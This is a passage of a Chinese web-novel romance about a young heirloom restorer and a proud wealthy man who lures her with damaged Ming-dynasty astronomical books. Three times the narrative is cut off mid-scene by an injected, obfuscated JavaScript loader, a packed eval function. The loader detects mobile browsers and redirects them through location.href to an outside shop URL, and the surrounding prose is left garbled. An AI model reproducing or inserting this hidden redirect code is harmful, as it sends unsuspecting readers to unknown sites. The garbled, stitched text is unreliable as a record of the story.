“对,你是文物修复师,很忙的。”江回雁若有所思地说罢,眼睫一抬,最后一次与林昙确认她对他的态度,“真的没空帮忙?我给报酬的。” “我很想答应,但是很遗憾,真的没时间。”林昙真诚地看着他,坚定地表示拒绝,“而且从小妈妈就教育我,富贵不能淫,贫贱不能移,威武不能屈。这是我要信奉一生的人生格言。” 这一下子把威逼利诱几条路全堵死了,可以说是半点机会都不给江回雁。 江回雁深深看了她一眼,再瞥一眼腕表,说道:“行,那我就不打扰你了。” 说完,他掏出特意带来的转运珠,递出车窗,在林昙如释重负地接过去后,状若无意地问:“齐了吗?” “齐了!”林昙斩钉截铁地给予了肯定的回答。她根本不记得转运珠丢失了几颗,只顾着斩断和江回雁的关联,“多谢你……” “嗯?还有一颗?”江回雁变魔术似的又拿出一颗转运珠,语气半是恍然大悟,半是尖刻的嘲讽,“哦,原来是我拿漏了一颗。” 最后一颗晶莹剔透的转运珠被他食指和拇指捏着,清楚的暴露在林昙眼中,折射出来的日光闪花了她的眼睛,也照红了她的脸颊。 一阵尴尬的沉默后,林昙略显狼狈地补救:“啊,我记错了,原来少的不止两颗啊!” 她强装出处变不惊的镇定,伸手去接。 好在这次江回雁没再作妖,老实地把那颗罪孽的转运珠还了回去。只不过在把转运珠放回林昙手中时,他用力按了一下她的手心。 林昙有点羞耻。 不过无妨,这件事终于可以结束了。 江回雁收下蛋糕之后,两人之间新产生的人情也两清了,万一以后江回雁再找到她散落的其余转运珠,林昙准备说自己买了新的手链,散了的那串不要了,请他随手把东西扔掉! 就要结束了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107635|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林昙打起精神:“今天多谢你了。” “客气。”江回雁示意王叔可以出发了,又与林昙道:“对了,前面忘了说,其实我也有一句终身信奉的人生格言。” “您请说。”终点在即,林昙用上了“您”来称呼江回雁。 江回雁施施然道:“做人不强人所难,和做猪有什么区别。” 林昙:“?” 这刚定下没几秒钟的人生格言的意思是说,他会强她所难,一定要她答应假装女朋友去参加婚礼? 林昙提醒:“强迫他人意愿是违法的。” 江回雁对答如流:“那就不违法地强迫他人意愿。” 林昙恍惚听见了一句废话。 因为看起来脾气很好,经常有人不把林昙说的话当真,比如以前念书的时候,曾经有男同学想请她去看电影,她很认真地拒绝了,对方却觉得她在害羞,放学后直接在学校门口堵她。 林昙很不喜欢被人强迫。 但现在面对江回雁这种行为,她竟然很罕见地没有觉得反感,甚至跃跃欲试,想看江回雁会使出什么招数。 可能是因为他被自己明里暗里拒绝过很多次,每一次不管多么不忿,都没有对着她表现出过冒犯的行为。也可能是因为在江凝波的描述中,江回雁有很多很多缺点,但与他的优点相比较起来,都算不上过分。亦或许是因为他只是在预告他喜欢强人所难,而没有做出实际的强迫行为…… 这种感觉就像小时候她不好好吃饭,陈明姗捋起袖子吓唬她:“我看你吃不吃!” 总之,林昙并没有感受到那种令人不适的威胁感。 “再会。”江回雁偏过脸对着林昙轻一颔首,做出告别的姿态。同时,车子开始起步。 林昙看着两人之间缓慢升起的车窗,觉得虽然没有感受到逼迫,但不做点什么煞煞他的锐气,自己看起来就太软弱了。 这么想着,她追着车子走了两步,慢吞吞说道:“我有一句话不知当讲不……” 说到这儿,看见江回雁的嘴巴动了,林昙当机立断,飞快改口。 “憋回去!” “你好像个反派小人!” 两道声音碰撞在一起,仿佛摩擦出了什么惊天力量,使得刚起步的车子一个急刹,江回雁的上半身因为惯性猛地往前倾去,差点撞到前面靠椅。 “那个……踩错了……”王叔支支吾吾道歉,而后不等江回雁出声,一脚油门,车子重新驶出。 刚坐直身子想和林昙算账的江回雁,这一次依然没有防备,后背“咚”的一声撞了回去。 江回雁深吸一口气,看看前面驾驶座上任劳任怨好多年的王叔,再从外后视镜里扫了一眼站在原地忍笑的林昙,短短几秒钟内受的一大堆气,全部被迫憋回了心里。 真是应了他那句“憋回去”。 12. 图片 周一,林昙正常上班。 上半年有个文物走私团伙被抓,缴获的物品中有一部分古籍古画。本就是年代久远的文物,加上没有仔细养护,损坏程度严重,这就导致本就繁琐、细致的修复工作,需要工作人员们付出更多的耐心和精力。 忙碌了一上午,中间休息时,林昙看了眼手机,没发现新消息,有点失望。 她父母健康,工作稳定,没什么经济负担,实在想不到江回雁会用什么办法让她妥协。 总不能是让江凝波吃了她送的蛋糕后假装食物中毒,以此来威胁她吧? 而且都过去一天了,真食物中毒也该发作了。 林昙正犹豫要不要再以“总总”的身份和江凝波打探下消息,相熟的同事凑过来,道:“给你介绍个男朋友?大帅哥哦!” “不要。”林昙毫不犹豫地拒绝。她最近相亲了两次,全是奇葩,已经暂时对男人失去了兴趣。“你也离我远点,我现在对你们姓江的过敏。” 江里花:“哇,你有姓氏偏见啊?” “以前没有。”林昙道,“你再和我提男人,我可能就要有了。” 江里花白她一眼,去茶水间倒水了,过了会儿,她转回来与林昙嘀咕:“这会儿别去茶水间了,隔壁酋长又在那吹牛,烦死人。” 林昙:“这回是什么?” “一个有私人博物馆的收藏家,请他去养护自己的收藏品,也不知道是真的假的。” 江里花嘴里的酋长是隔壁组的修复师,姓裘,人称酋长。 这人没什么毛病,就是喜欢吹嘘,从小学考满分、拿奖状,到大学得奖学金、追过校花,都是吹嘘的资本。不过最近改了,现在吹嘘的是又收到什么新的委托,要帮人家修复私人藏品去了。 中华地大物博,有着上下五千年的悠久历史,这期间,无数人类生存留下的痕迹都被时光赋予了无法估量的价值,形成人们口中意义重大的古董、古玩。 在经历过近代百年耻辱后,数不清的文物被劫掠、走私至国外,分散在世界各地,其中,被损坏的不计其数。 这便要用到文物修复师了。 文物修复这一行业相对冷门,做的好的更少,为了更好地保护文物,馆里鼓励修复师们在工作之余兼职创业,毕竟保护比拥有更加重要。 此外,修复师与收藏家打好了关系,说不定什么时候那些收藏家情绪上头,就把私人藏品捐给了国家。这也算是一点众所皆知的小私心。 酋长擅长漆类器具修复,这类别相对容易保存,遇见的几率比较大,馆里时不时能收到私人电话咨询这方面的问题,更有一些注重祖产传承的家庭冷不丁地从哪里掏出一件明清时代的传家宝,是以,酋长夸夸其谈的机会相当的多。 与之相反的是林昙所在的小组。 古籍古画本就难以长久保存,哪个收藏家就是有,也不会轻易拿出来,更不会委托她们这样年轻的女孩去修复。 林昙与江里花工作以来,除了自家馆里的善本,只有跟着老师或者与其他省市进行文化交流的时候,才有机会接触别的珍贵文物。 虽然说文物修复对他们来说只是工作,可他们这些工作人员长久地接触浸润在这种环境里,除了重视专业素养之外,绝大多数都有着强烈的文物保护认知。 有机会见到和修复更多的文物,对他们来说是一种荣耀。 “私人博物馆……这很难不羡慕啊!”林昙捂着心口,“我的羡慕快转化成嫉妒了!” 明明都是通过重重考核才得到这份工作的,大家能力上不相上下,怎么酋长的运气就这么好! 江里花:“我已经嫉妒到眼睛发红了!” 两人凑在一起羡慕了会儿,江里花忽然说:“我昨个看报道,说常王墓挖掘得差不多了,估计吕教授快要回来了。等他回来,你就能和酋长对着吹了。” 林昙:“不好说,上回联系的时候还忙得脚不沾地,没说什么时候能结束。” 吕教授全名吕先,是业内颇具名望的修复师,经手的大多是国宝级的文物,是文物局和诸多博物馆的合作专家、C大教授,也是林昙读研时的导师。 老一辈的人更愿意把自己叫做手艺人,也非常注重手艺传承,林昙态度认真,学得快,大学时候就得了老教授的赏识,算是入门弟子。 后来,林昙考入博物馆,工作上刚做顺手,西北那边就发现了常王墓,意义重大,吕教授一把年纪了,不畏风霜赶了过去,到现在还没回来。 刚正式步入这一行的年轻女性没有名气,不被信任,也没有途径接到更多的委托,只能老老实实地在博物馆做些常规的修复工作。 吕教授离开前考虑到过这种情况,和林昙说可以先去找几个师兄师姐帮忙,可林昙怕功底不扎实,想再磨练磨练心性,一直没有主动联系过。 话虽如此,可哪个手艺人没有点追求呢? 林昙还是羡慕酋长的。 . 忙碌一天,下班后,林昙去了趟超市,刚到家门口就听见手机响了一声,拿出来一看,发现是微信上的好友申请,备注:江凝波。 掉马了! 林昙脑子嗡了一声。 不对。 她很快又反应过来,读研期间,她的主要联系方式慢慢从Q/Q换成了微信,同时拥有她两种联系方式的,只有家人和陶莘这样的好朋友,而这些人都不认识江凝波兄妹,不会无缘无故导致她掉马。 应该是江凝波从江回雁那里要到了她的联系方式。 可能是因为那个蛋糕。 稍微冷静后,林昙通过好友申请,江凝波很快发来消息:【谢谢你的蛋糕,超好吃!】 林昙长出一口气,回道:【你喜欢就好。】 江凝波:【超喜欢的!我带去了学校,室友也都很喜欢!】 在情绪价值这一方面,江凝波从来不吝啬。 林昙得到了满足,单方面原谅了她带来的突如其来的惊吓。只是她依然不打算和江回雁有更近一步的发展,所以,她只能和“江江”成为朋友,而不能和“江凝波”太过亲近。 林昙回了个笑脸过去。 她的反应很不热情,江凝波却不在意,继续发消息,这回是晚饭照片,配上一张哭脸。 江凝波:【三食堂新出的柠檬炒番茄,好吃到流泪!】 林昙一下子笑出来。 C大三食堂有个窗口经常推出新菜色,林昙还在那的时候,就见过苦瓜香菜馅的饺子、泡椒拌菠萝。 这些菜通常情况下口味都很奇怪,但架不住大学生们勇于尝试猎奇事物的心,每次都把这些菜一扫而光,硬是让这个窗口持续了很多年。 林昙很想跟着吐槽,但这样会暴露她也是C大的,江凝波一定会追问她是哪一届、哪一个专业的……她就离掉马不远了。 于是林昙假装没看见消息,放下包包做饭去了。 她回的是新城区的房子,没和爸妈一起,一个人吃的简单,没多久就做好了,回到餐桌旁再看手机,江凝波又发来好几条消息。 江凝波: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107636|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【吃完了,吃饱了,明天一整天都不用吃饭了,因为我的牙已经全部酸倒了。】 江凝波:【你还没下班吗?】 江凝波:【我毕业后不会也要天天加班吧?!大哭.jpg早知道就不从幼儿园毕业了!】 林昙想回消息,看了看时间,觉得有点危险,决定过半小时再回她。 她退出和江凝波的对话框,习惯性往下一划,看见了江回雁。 一整天了,江回雁还是没有发来任何消息。 他到底会怎么强迫她? 这个问题在林昙心里萦绕了很久,每一次收到新消息,她都以为是江回雁。就像有个小偷预先说会来偷她的手机,但又没说具体时候,她就只能一直处在提防状态。 正看着两人的聊天页面,手机再次收到消息,这次是“江江”发来的。 江江:【纯真无暇大女孩!快看!三食堂新出的人间美味!今天下课晚了几分钟,差点没抢到!】 那张柠檬炒番茄的照片又一次出现在林昙手机里。 “海王。”林昙在心里吐槽江凝波“脚踏两条船”的行为,但她这种行为,也让林昙因为隐藏马甲而产生的愧疚感稍微弱了一点。 总总:【都告诉你不要总往三食堂去了,会吃坏脑袋的!】 Q/Q回了消息后,林昙挪到微信,打字:【还在加班。】 信息发出去,她把两边进行对比,一个是朋友间的调侃,一个是稍显冷淡的正常回复,完全看不出是同一个人。 林昙很满意,觉得哪天陶莘剧组里再缺演员了,她可以去做个兼职。 江凝波:【好辛苦!你得加班到几点啊?】 江江:【你是不是在说我脑袋笨?!】 “林昙”比“总总”先收到回复,虽然只有短短五秒钟,但谁轻谁重很明了了。认识很多年的网友兼学姐,竟然没有一个拒绝过她哥的相亲对象重要? 林昙在微信界面打字:【十点左右。我先加班了,回头再聊。】 江凝波果然不再给她发消息了,只不停地骚扰“总总”。 这和林昙预想的一模一样。江凝波对很多事情的热情只能维持三分钟,等她热情退却,就会把“林昙”抛之脑后,两人就能恢复成过去那样网友兼学姐的单纯关系。 只是可惜,不能见面了。 都怪江回雁。 恰在这时,江回雁发来了消息。 一整天了,他终于有了行动! 林昙赶紧坐正,快速打开聊天页面,看见江回雁发来的是一张照片。 照片上是一个漆黑的、厚重的老旧木箱,箱子里堆着一沓黄褐色中带着斑驳黑色印记的东西,乍一看仿佛是雨后被人狠狠践踏过的腐烂枯叶堆叠而成,又脏又旧。 林昙却心口突地一跳,猛然站了起来,动作太大,带动椅子与地板发出了刺耳的摩擦声。 那不是破烂,是严重虫蛀后的书籍,上面的斑驳黑点也不是污泥,是碎掉纸屑上的墨迹!还是隶书! 这是林昙第一次在老师的带领和博物馆之外的地方接触到疑似未经修复的古籍,乍然之间,情绪激动,打字的手有点颤抖。 她想问江回雁这是什么,他从哪里得到的,还有没有别的照片,能不能让她亲眼去看看等等…… 第一个问题还没打完,图片不见了,屏幕显示“江回雁撤回了一条消息”。 林昙:“!” 下一秒,新的消息出现在眼前:【抱歉,发错人了。】 后面附赠一个微笑表情。 13. 帮忙 看见“对方正在输入……”时,江回雁把消息撤回,重新发了一条“发错人了”,然后好整以暇地看着对话框顶部那行小字浪花一样消失,出现,再消失,往复循环。 林昙的纠结具象化地呈现在了江回雁眼前,让他胸腔里憋了两天的闷气终于发泄了出来。 诚如那几个喜欢古董的长辈所说,人们对文物的反应大致可分为两种。一种是普通人,会为之惊讶侧目,进而小心翼翼地避开,唯恐将其损坏。另一种则情绪激动,恨不得把东西抱在怀中。 而后者,可以是冲着它们的价格去的商人,也可以是冲着它们的文化价值而去的收藏家,更能是二者兼具的文物修复师。 对修复师们来说,修复文物既可以满足自己的成就感,又可以获得名利,两者相辅相成,是烈火烹油的叠加效果。 林昙没道理不心动。 准备充足的江回雁一点也不心急,气定神闲地守株待兔。 这一次,“对方正在输入……”的提示持续了足有五分钟,林昙的回复终于到了江回雁手机上。 林昙:【你撤回的是什么呀?】 江回雁看着她句末的“呀”字,无情地耻笑了一声,回她:【是之前想请你帮的忙。不过现在不用了,我已经在找别人了。】 这个消息到达林昙手机上的时候,她抱着脑袋尖叫了一声,然后转身跑到客厅,一头撞在沙发靠枕上,恨不得用靠枕把自己砸死! 江回雁是想请她帮忙修复文物,不是让她陪他参加朋友的婚礼! 是江凝波弄错了! 退一步来说,就算江回雁是以她陪他去参加婚礼为前提,才让她帮忙修复古籍的,又怎么样? 为什么不答应?! 就当是去蹭吃蹭喝啊! 那张只有一眼之缘的照片,林昙没有看得很清楚,但凭这么多年跟着吕教授涨的见识,她确定,如果那是真迹,依照上面的零星字形、虫蛀和腐烂程度来判断,那至少是明清时候的古书! 而且看数量,应该是完整的一个系列! 吕教授在行业内的威望很高,跟着他的这几年,林昙见过的珍贵古籍多不胜数,也跟着做了很多修复工作,可是吕教授手里的古籍都是极其珍贵的,她能参与,却很少有能从头到尾独立完成的。 不是能力不足,而是收藏家们看在吕教授的面子上对她赞不绝口,却不能信任地把书画交给她。 对那些传统老收藏家们来说,高校硕士、师从大佬、省博物馆修复师这些名头全部加一起,都不如一次完全独立地修复古籍的履历更有说服力。 如果昨天她没有拒绝江回雁,这将会是她在吕教授的羽翼之外,首次独立修复整册古籍,将会是她个人履历上精彩的一笔。 ——虽然江回雁之所以愿意把东西交给她,不是看中她的专业能力,而是出于私心……但是没关系,等真正接触下来,她会让江回雁知道什么是专业的文物修复师。 跟了吕教授这么多年,这点自信林昙还是有的。 ……可现在江回雁要找别人,不找她修了! 林昙悔恨欲绝。 抱脑袋发了会儿疯之后,她顶着乱糟糟的头发去拿手机,重新翻看两人的消息,注意到江回雁说的是“已经在找别人了”,而不是“已经找到别人了”。 他还没找到新的修复师,她还有机会! 拿起手机将要发消息,林昙看着屏幕里的那个微笑表情,打字的手突然止住。 被大喜大悲情绪冲击到的大脑重新恢复理智,林昙终于意识到江回雁是故意的,这就是他所说的强人所难。 …… 不得不说,他这个强人所难太成功了,不仅不违法,效果还直逼“打蛇打七寸”。 这么一想,林昙反而放心了一点。 如果真是这样的话,这东西就是为她量身打造的,江回雁一定不会交给别人,他一定正等她去求他。 林昙急忙打了语音电话过去——被挂断。 江回雁:【在忙。】 林昙:【那你先忙~】 关掉聊天页面,林昙忙不迭地查了下强人所难的意思,依照注释一个字一个字地念出声:“勉强人家去做他不能做或不愿做的事情。” 林昙彻底放心了。 江回雁只是在吊着她,不会把机会给别人的。 另一边,看着林昙回复里的“~”,江回雁冷哼了一声,拨通了助理的电话。 “加奖金。”第一句话未卜先知地堵住助理对于加班的怨言,第二句话直接布置任务,“买机票,去伦敦,尽快。” 江回雁对古董没多少了解,打定主意从文物方面入手让林昙后悔之后,查了点儿拍卖行的信息,又去拜访了个收藏家长辈,最终把矛头对准伦敦的一个富商。 这个富商祖上是英国贵族,手里有很多中国古董,家族没落后,为了生计,很多古董已经转手贩卖了出去,剩下的古董里,有一份明朝天文学家手书的星图气象录。 全书共计五册,现在就堆在富商家的地下室里。 国内很多收藏家都知道这个事情,也试过把东西买回来,可这个富商对中国不友好,财务危机缓解后就闭不见客,既不肯把书出手,也不找人修缮,就暴殄天物地任由几册书发霉腐烂。 江回雁盯上了这几册书。 钩子都放给林昙了,不把东西拿回来,他的脸就丢大了。 . 截止到周五,这几天里,除了工作时候没空乱想,其余时间,林昙脑子里几乎全是江回雁。 “他为什么还不给我发消息?快来‘逼迫’我啊!” 第二十七次这么和陶莘哭诉的时候,陶莘发出灵魂质问:“你不会是爱上他了吧?” “是的!”林昙疯狂点头,“我真心地爱每一个愿意给我机会的老板!江回雁是第一个,是我的最爱,是我的心尖宝贝!” 陶莘默默给了她一个鄙视的眼神。 林昙想成为吕教授那样厉害的修复师,她有很清晰的职业规划,早在前几年新房装修的时候,就特意空出了一间作为工作室,里面修复工具一应俱全。 工作室终于要正式派上用场了,她很期待,连周末的时间都安排好了:这周不回爸妈那了,她要集中精力为江回雁工作。 可江回雁还没来找她。 林昙急得几天没睡好,下班时再也忍不住,又一次联系了江回雁,对方不知道在做什么,迟迟没有回复。 林昙等了半个小时,耐不住焦躁,去找了不靠谱的江凝波。 总总:【你哥这几天在忙什么?】 江凝波很闲,消息回得迅速:【你怎么忽然关心起我哥了?】 林昙顿了顿,打字:【是这样的,我有个朋友在写小说,想了解一下你们有钱人的日常生活。】 江江:【咦?你有朋友写小说?什么小说?让我看看。】 总总:【你先给她提供素材,等她写好了,我第一个发给你看。】 江凝波信了,回道:【你等着,我去问问我哥。】 林昙等了五分钟才收到江凝波的回信:【我哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107637|138180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像在忙,没回我消息。】 下一秒,林昙的手机响了,正是那个忙得没空回妹妹消息的人。 电话接通,江回雁问:“什么事?” 抱有目的主动联系拒绝过的相亲对象,林昙深感羞耻,但一想江回雁摆明了是在给她下套,在等着她往下跳,她的心态又好了很多。 这也算是一种双向奔赴吧! 林昙厚着脸皮道:“之前你不是有事要我帮忙吗?现在我有空了,想要我帮什么?你说吧。” 江回雁呵呵一笑,问:“不用替你老师参加研讨会了?” “哈哈,研讨会最多就占用两三天的时间,不碍事。”林昙奋力给自己找理由,“而且给你帮忙有报酬的,谁会嫌钱多啊。” 江回雁又说:“不坚守你的人生格言了?” “实不相瞒,其实那是我妈给我定的人生格言,我自己坚守的是:做人当如墙头草,灵活自如!”上一次林昙说得有多么坚决,这一次否定自己就有多么果断。 江回雁顺利地扳回了第二局,仍是不满意,假模假样地做出为难语气:“那也不好吧,我可是个反派小人……” “那我这个墙头草岂不是正适合做你的小弟?”林昙都学会抢答了,“大哥!” 一声嘹亮的“大哥”,把江回雁震失声了。 他成功借那五册书让林昙把怼他的话一句一句收了回去,可看着她低声下气来讨好自己,江回雁却一点也高兴不起来。 怎么说呢,继败给严飞、袁尚之后,他又输给了一箱子破书烂纸? 江回雁第一次知道未经修缮的古籍对文物修复师的吸引力有多大。 “你不喜欢被人叫大哥吗?那老大怎么样?老板?大佬?”林昙自觉代入小弟的身份,表现得十分卑微。 江回雁听得直皱眉,从手机里翻出那张让他一眼心动的林昙的照片,仔细看了几眼,无语地命令:“闭嘴!” 林昙:“好的呢~” 江回雁又是一哽,狠狠地把手机界面从林昙的照片切换到微信。 微信联系人前三分别是正和他通话的林昙、发无聊消息骚扰他的江凝波,和身处伦敦的助理。 江回雁的目光在助理的名字上停住,算了算交易完成还需要的时间,道:“你不是有空帮我了吗?行,那麻烦你帮我问问凝波,她今天都做了什么。” 林昙:“……啊?” “我想找你帮忙的就是这事。”江回雁一边说话,一边翻看手机,对着江凝波发给他的无聊消息叹气,“江凝波叛逆心太重了,经常不回消息,我不放心,想请你帮我问问她今天在学校都做了什么。” 林昙:“……” 她也翻起手机,对话框里,十分钟前“江江”发来的那条“我哥好像在忙,没回我消息”,还明晃晃地留着。 江回雁在睁眼说瞎话,在敷衍她! 她都这样卑微了,他还没出够气? 林昙猛吸一口气,把江回雁手里那一箱子未知的破碎古籍想象成她无法触及的白月光《永乐大典》,在纯洁无暇的白月光的光辉下,不论江回雁怎么为难她,她都可以报之以歌。 “好的呀~”林昙心气通畅了,声音一下子变得无比温柔甜美,“我现在就去问,稍等一下哦~” 矫揉造作的声音传入江回雁耳朵里,他眉心突地一跳,“别对我发嗲”几个字到了嘴边,紧急停住。 他忍了又忍,没忍住,又一次翻开林昙那张清幽、贤淑、温柔的美丽照片,隐隐觉得自己好像犯了个无法挽回的天大的错误。 14.条件 江凝波对林昙知无不言,先把一天的行程报出来,才问林昙问什么要问她这个。 林昙简单说明是帮江回雁问的,然后温声细语地把内容转述给江回雁,换来江回雁冰冷无情的一句“知道了”和“过几天再联系你”,通话结束。 林昙对江回雁情绪的转变感到莫名,但又为他最后一句话而欣喜,如果她没猜错,等江回雁下次联系她,就该她喜笑颜开了。 好事多磨,她可以等。 刚结束和江回雁的通话,林昙心情还没平复下来,又收到一通来自吕教授的电话,赶紧接起来。 “小昙,打扰到你了吗?”确认没有,吕教授开门见山地提要求,“工作不忙的话,抽空帮我写个稿子,资料发你邮箱了。” “嗯。”林昙电话外放查看了下邮箱,“收到了。” “稿子月底之前给我就行,另外下个月韩桥栋会回去一趟,他有几个小细节处理不好,你教教他。” 林昙惊讶,“我来教?” 韩桥栋是另一个业内大佬秦教授的学生,和林昙同届。 吕、秦两个教授在专业领域上有一部分重叠,但理念上有点冲突,一把年纪了不好闹腾,就折腾彼此的学生。大佬们舒心了,两个学生就惨了。 不过后来两人能够优秀毕业,也少不了两位教授的折腾。 在校期间,林昙是比韩桥栋优秀了一点,但让她来教他,好像不太合适。 “有什么问题?”吕教授反问,“没时间吗?” “不是……”林昙迟疑了下,转念一想,韩桥栋现在就在考古队里,说不定就和吕教授在一个地方,既然教授这么说了,她教就是了,反正天塌了有教授顶着。 林昙点头:“行,那我等会联系他。” “什么你联系他!”吕教授不高兴了,恨铁不成钢道,“等他打电话来请教你!” 吕教授护短与处处都要压秦教授一头的性格,这么多年来一点都没变。 “嗯嗯,记住了!”林昙保证自己记住了,又问候了几句老师的身体,挂断电话后,她先检查了下资料的大概内容,心里有了底,再看手机,发现“江江”发了好几串语音过来,情绪之激动,字里行间可见。 林昙被江回雁掀起的情绪波动还没完全恢复,静不下心来写材料,干脆暂时放下正经事,查看起江凝波又发了什么过来。 消息是发给“总总”的,刚点开,就震到了林昙的耳膜,她赶紧调小音量。 “我发现了一个秘密!” “我哥在追上一个拒绝过他的相亲对象,这次他真!认真了!” “我哥不用做独身主义了!” 前两句都很容易理解,无非是方才的事情,以及江回雁想让林昙帮忙修复古籍的事,让江凝波觉得两人之间有猫腻,第三句林昙就无法理解了。 江回雁什么时候是独身主义了?既然是独身主义,干嘛还要出来相亲? 她直接问了:【你哥是独身主义?】 江江:“不是,是他总找不到对象,爷爷建议他先自称独身主义,等找到女朋友再说缘分到了挡不住,省得总被人拒绝,没面子。” 林昙:“……” 独身主义的名声大概就是被有这种想法的人败坏的…… 她打字:【再玷污独身主义,我就替他们打死你!】 江江看不懂,发来了一个茫然小猫的表情包。然而这个对她来说不是重点,她疑惑了一下就继续惊叹她的惊天发现去了。 江江:“我哥这次是认真的!出手好大方!” 是很大方。 林昙还不能确定那箱子古书的来历,但江回雁既然把它拿出来,价格定然不菲。这么一想,她心里突然又不安起来,江回雁可别是为了追她才这么大方的。 她是可以为了得到更多机会耍嘴皮子讨好江回雁,作为交换陪他参加朋友的婚礼也没问题,但不能把自己搭进去,更不能以感情为筹码与人做交易。 总总:【你哥对那个相亲对象动了感情?】 “好感肯定是有的,但应该算不上动了感情。”江凝波发来语音消息,“按我对我哥的了解,他追女孩更大的目的应该还是为了他的自尊心和好胜心。” 这样就没问题了。 林昙生平第一次对人性中争强好胜的一面感到欣慰,她坚定地在心底起誓,一定会全力配合江回雁,把他发小打压得死死的! 可恶!怎么可以嘲笑她雇主呢! 装模作样把江回雁的发小谴责了一番,林昙压抑不住心中的喜悦,继续跟江凝波打听江回雁的事情,以期从她口中得知更多关于那几册书的信息。 江凝波的防备心一如既往的弱,回道:“哦,你不是问我我哥最近在做什么吗,他不回我消息,我就去问了他助理。我哥竟然让人家去国外买了一颗蓝宝石!说起来真是离谱,那颗蓝宝石是英国一个没落贵族家流失的,我哥要把人家的宝石切了,被人家后裔知道了……” 到这里,没有一句是林昙想知道的,她想打断江凝波,江凝波后面一句已经发过来了。 “你绝对想不到,其实我哥想要的才不是什么蓝宝石,他想要的是人家手里的古书!” 林昙:“哎?” 她来了精神,打字:【什么古书?】 江江:“听说是明朝一个天文学家编撰的,我没仔细问。我哥那相亲对象就是博物馆工作的,我哥肯定是想用这个去讨好她……对了,你不也是博物馆工作的吗?你做什么的来着?” ……小姑娘机灵的不是时候啊! 林昙赶紧打字:【我就是个文字工作者。好好说你哥,我朋友等着素材呢。】 江凝波的注意力就这样被带偏,继续说江回雁的事情去了。 . 又是一个周五,临下班,林昙收到了江回雁的消息,约她第二天下午见面。 林昙答应了,把地点定在距离博物馆不远的公园里。 前几天下了一场雨后,气温降了很多,天气已有几分秋天的凉爽,公园里的桂花也悄悄绽放。林昙提早十几分钟抵达,循着淡雅的香味找了会儿是哪棵桂花树这么早开花,张望了一圈,再一回头,发现江回雁不知道什么时候到了,就在不远处看着她。 目光相对,江回雁面无表情地在轮椅扶手上敲了几下。 林昙一下子笑了,没在他身旁看见别人,边向着他走过去,边问:“你什么时候到的?司机呢?” 江回雁不答,反过来问:“笑什么?” 林昙立刻假装严肃地绷起脸,说道:“不笑了。” 说完她也走到了江回雁身后,自觉地推起轮椅,刚沿着湖岸走了两步,江回雁指着湖边石凳,道:“坐在那边说。” 天气凉爽,空气新鲜,林昙更想沿着湖畔散心,说道:“边走边说吧,没事儿,我推着你。” “过去那边坐。”江回雁语气加重,不容反驳。 “我不累的啊。”林昙不理解他为什么一定要让她坐过去,推着轮椅往前走的同时低头去看江回雁的表情。 因为角度原因,她第一眼看见的是江回雁漆黑的颅顶、白皙的耳尖和宽阔的肩膀,视线顺着他的手臂往下,落在江回雁裹在笔挺西装裤里的长腿上,随后看见了他脚上做工精细的黑色皮鞋。 都不能走路了,还穿得一丝不苟呢? 这个念头出现在脑海中后,林昙突然发现除了相亲那天之外,这还是她第一次看见江回雁出现在室外、车外。 她又弯着腰低下头从侧面看了看江回雁,发现他脸色很难看。 “看什么?”江回雁发现了她的小动作,质问的语气很是冷漠。 林昙站直身子回头看了看错过的石凳,嘴角没忍住弯了起来,她努力把最近压下去,慢吞吞道:“就是觉得新奇……你身高多少?肯定比我高吧?我竟然低头看你哎……” 江回雁周身气压明显降低。 林昙再次弯下腰窥了窥他的表情,偷笑着在心底肯定了自己的猜测。 这个人很在意形象,哪怕腿骨骨折也不肯出丑,出门必须从头到脚一丝不苟。性格也极度要强,不管哪一方面都不肯输给别人,也不能容忍别人俯视他,所以几次见面以来,要么是他全程坐在车上,林昙在外面,用车窗做隔断,杜绝了他仰头看她的可能,要么是两人一起坐在车内,相互平视。 林昙见他不说话,起了捉弄的小心思,“哎呀”一声,说道:“你头上落了片树叶……” 说着,她的手朝着江回雁头顶伸去,刚触碰到粗硬的黑发,江回雁倏然转身,一只手快速袭来,扣住了林昙的手腕。 他动作突然,力气有点大,宽厚的手掌用力攥着林昙的手腕,让她有点不自在。 林昙眼睛眨了几下,轻抬眼睫,看见江回雁侧着上半身,微微抬着下巴,漆黑瞳孔里深不见底,直直盯着她,看得她心里发毛。 “我开个玩笑的……”林昙笑不出来了,解释的时候动了动手,想把手抽回,却发现江回雁抓着她手的力气很大,根本抽不动。 再看江回雁神色冷冽,眼神漠然,林昙心里突地一跳,怀疑是不是自己太没有分寸感了。 “我……”她又想说话,刚出声,那只被迫停在江回雁耳边的手被扔开了。 江回雁转回身,不冷不淡地说道:“我今天找你出来,是有几本古籍想找你修复。” 